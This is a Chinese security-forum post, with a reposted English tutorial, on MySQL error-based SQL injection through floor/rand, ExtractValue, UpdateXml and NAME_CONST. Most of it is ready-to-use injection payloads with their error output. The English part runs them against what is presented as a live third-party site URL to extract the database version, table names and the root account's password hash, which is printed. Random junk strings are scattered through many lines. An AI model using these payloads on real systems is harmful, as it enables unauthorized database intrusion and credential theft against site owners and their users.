找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2969|回复: 0
打印 上一主题 下一主题

mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2015-11-11 19:03:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下:0 h. e( Z! d9 s! l) A; }6 A
首先进行正常查询:

mysql> select * from article where id = 1;( E& i: q: E8 b) r; t9 |
+—-+——-+———+
) k0 p/ x1 x* a. @8 Z) k| id | title | content |
, }7 z) w$ o# V3 u+—-+——-+———+! A( z- E/ F3 J5 T
|  1 | test  | do it   |! l0 ?) E- o* P1 @% u& g! l
+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);9 k1 k: \* u/ O: {# W3 X
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
2 {9 p7 q  ?9 z例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);7 l  E# E6 s) X7 }; t' P
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
1 Y  Q' l' V/ PERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
  N3 [, L) H  P) H. X% E测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
+ Q, _; d7 C) J5 OERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’


5 P6 J8 x4 X$ o/ k4 j3 T+ w. o( j8 _' r

再收集:

: c4 w! r* F8 i% {8 [' G7 l
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) 1 a- k9 J6 k/ A

, M" V; V/ j7 k. KErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
9 v2 e1 _- q3 Y7 w- o+ I7 k4 ]
) ?! U/ i5 s/ `; U, f- Z8 _http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
# R. {: `$ }. ^% U3 _2 {% D5 ~. W) z# y/ [% B/ W  u
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
  o# f. [6 q: R3 l) Y2 a" S1 R, F& N$ K( I: y* |/ C
MYSQL高版本报错注入技巧-利用NAME_CONST注入
9 u& u- ]0 @& NIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. : W; i6 f) `; L# k% d
; U  b2 Y; c& F0 X* f

- T+ ^, ]: ?1 F) V, E; J相关信息
9 R3 X& k- E* a% v" X4 J8 a: S- O7 M1 k
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that./ R; H, e$ g6 U3 W; w! h

. V8 ^* m* K1 ZCode:$ Y; T6 L8 y% v
NAME_CONST(DATA, VALUE)% ?) a, E5 N2 l% B
2 S( E5 ?, y$ o, z- J2 I# F1 j7 x
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
; x' r5 c$ Z; R  E/ x8 e' v1 \* G  j$ {- F8 O# W
SELECT NAME_CONST('TEST', 1)0 p8 x( ~- n; }- w$ ?
% t  x# [4 f% K7 |$ L9 @0 O+ e
7 o# i& P' m7 i' M0 n3 u) {

' m6 ~5 X5 X3 Y( W% O. v|---------------|
0 k9 \- Y5 P( c, K+ Z7 M|     TEST      |
& Q" m; V( ^' O, u/ O/ k4 u+ l|               |
4 s# }" O9 k( {, C% o8 l+ V|---------------|
& a, r: M8 ~% X6 e& a3 D- G|       1       |
0 c. }" Q1 `. V|               |
* Z0 \# V6 l5 I3 t9 x# F1 Z& C|---------------|
4 Z. m8 L% n, h' I  [+ F/ Z/ S- M

2 v' t4 U9 [5 `) c5 U! h! `  {3 c' c; l5 g8 a0 [* G% k* [

) k! j" f% c5 P5 a1 D& B
# ~8 X3 t5 I/ b* `4 Y+ [2 \http://dev.mysql.com/doc/refman/5.0/en/m...name-const4 s3 }; u2 d( S& ]4 l
Intro to MySQL Variables
: @4 F+ w2 g- t" E2 x7 F6 J* s& n0 o6 R! Y6 U# o- K  T4 v
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.. A4 z& Q1 c! {4 j: h; [, @2 A

9 ?' ?  z4 v! z0 E( ^  yCode:) ]- }. L7 e/ ?& h* @/ N
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
/ f' T. e' S6 ]+ e1 A6 H
) s# ^2 a" N5 C0 \

0 K0 c" u8 H5 X; J
4 @+ Z3 r) r* P+ r
2 d2 G/ S- K3 x- h

4 L* r0 C" C1 \$ ZCode:
) T( \6 `* p$ }  U1 o9 M% Sand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--# ^: G9 R4 J- Y/ \- Y
; r1 Z- y3 B; P+ r; z

- X  v; K( m. wVAR = Your MySQL variable.- x; I" w. N, u' r( g3 a  N3 r8 I

1 y/ r, Q' G% B/ s5 Y: GMySQL 5.1.3 Server System Variables5 y$ W4 k" J5 j
* h2 f8 f  Y! n/ T- P4 Z  J! K5 A
Let's try it out on my site..
; i1 y8 ~% x# g- ?6 `6 D8 w# o1 w8 ^3 f8 ]( q$ y% h/ D0 N+ a
Code:
6 B% `) h$ p+ k- L3 Mhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--( N" P+ [0 Z9 B
' f  D# }- T3 I# y0 e; k! p* }+ x
Erroruplicate column name '5.0.27-community-nt'
# Q1 o) N( y% w7 {. Q+ A3 G( \5 S

5 i4 i: _! |# u9 t9 T/ _3 x6 W* h, P9 e. @' A

  e( Z$ ^7 n& A
* O3 V5 M) X( W* r, v
4 ^6 a2 f4 K9 `
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...; L8 p/ u, g5 ~; v/ P
* S  }! x- X7 }+ c
Data Extraction
# h/ P4 M& |1 ?- X5 `5 F# v! Y7 {8 f% _$ O4 |# y% E2 ^
Code:7 c; s4 R: R# J
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
* ~* e; d6 V; y/ K& T- ^

) p2 j& k+ P( _/ c9 _# b
! j5 P1 j( I( @+ |. U  p7 EWe should get a duplicate column 1 error...
( M* n! A' p* x$ Q, \1 [3 s  ?1 j' K: k8 a1 V; s  }. M; `  j6 E
Code:
- v( v9 ^" d: F& khttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--. r/ Z- e8 y; p" f

% K/ q( i+ w9 o( [1 BErroruplicate column name '1
- B- b) w) R6 ^! U7 N
; C, V; X3 ~8 v8 X
. Q) ?" @. X# ]

0 q. a; {1 L! _6 t) J4 G0 R, K9 h  Q

! c3 x8 P. B* u3 L. C$ Z9 x$ L; c9 @' P' l2 Z; L4 F$ _2 {$ t
Now let's get the tables out this bitch..' Z! C0 Z7 t: z! t* S+ x. @( ^
" W* {2 [' M5 p
Code:
& y4 d$ O, ^! U( X* ~+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
0 q" U" N! N+ U( @( q! @
: [0 X5 a# e; d

9 s% |: ~) k6 U! Q# y+ ^- XLet's see if it works here, if it does, we can go on and finish the job.( g2 ~$ B8 `& g# o

) e; J; V/ m# \Code:$ t/ W6 U& A8 G; n$ C8 ?% R: A1 S& h
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--! B5 H1 i" A9 Y) h6 L6 N6 m* F
  ~& G4 g& ]/ ~% _& Z. J$ R

( r- c3 {$ y, GErroruplicate column name 'com_admanage
0 E& f$ V) U% o: U
' o! I8 Z; _: q& j0 u

% w# \0 t- F: ?0 ~1 k" L: ]8 ^. D3 G7 s
- `' o2 P+ D0 L4 A0 U% m
+ B( _8 T8 v+ `/ @

0 Y3 x6 H* J% nNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.0 e: u9 a: c2 O$ ?0 {! M; o8 p
/ l* g- ~# A6 y8 d' R9 s& R
Let's get the columns out of the user table..
5 F+ c  U8 I( Y- {  \% i& @, D
Code:
) H2 B& Y8 p* d5 A$ K+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
0 d% r# R3 P, }. a7 p

3 u7 Z5 N. `, h9 i' P9 j3 @0 q; K9 }' ~4 @" T" Z8 h# a  A5 b- t
So mine looks like this, and I get the duplicate column name 'Host'.
6 C( W1 V" Q% `1 ?
- Z: G" A  k$ j/ R9 o7 {& QCode:
: h9 f( q4 s% D  P  j2 V# c, ]. c/ Yhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--. z1 }8 r% Q0 M! u: @+ \
, Z0 y: f8 |/ R6 Y7 T6 j+ t9 ?
Erroruplicate column name 'Host'
" a/ J" x" ]0 j6 ~
8 p: e$ B; k! n) T0 S: w% b) H  S

; B- s# u( v- z/ b* f
. A0 o9 {: \6 H% G# D. E% X( z  H" a0 A, P5 U6 _6 {6 ~

* n/ ]( i: k: \6 r+ j3 [7 U/ O# z5 s( i/ K2 V2 h( d( G
Woot, time to finish this bitch off.
/ F' i1 @* K% ^6 T4 }1 A2 F* m' A( b6 P0 ~6 u6 @+ c
Code:
* c: [/ v" P) E6 _3 F4 v% p+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--. u; H* M% Z2 X& g1 d8 @

$ |3 e8 `! d  E+ q  X" k: e# T' Y/ J$ u( l$ N7 D* Z  F
So mine looks like this...' |! h" A- o& O" G+ M8 F
' g5 p+ j8 [2 @. a7 F2 p& c% p
Code:, N& h$ E# b: M/ k. C. m
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
: s* H/ k+ `3 \! J( i2 Q  t8 H" [$ Y+ u2 @2 N
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82', \! y) N+ M3 m2 S8 S
) H8 g0 Y% J% C( C* T* `/ T; D

: ^' a& [& i8 @* _# u & r+ `( ]) b; J: w* p) U1 Q

9 w" `/ M( ?" U8 x5 Q& o. Q
* y% r: n1 i/ E  A' n% @9 ]+ k
& F+ e8 G% V  C* C- D8 y' l
And there we have it, thanks for reading.
( @$ V7 P& `% W  {

3 {4 v% k6 B; r1 R8 Z" a" W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表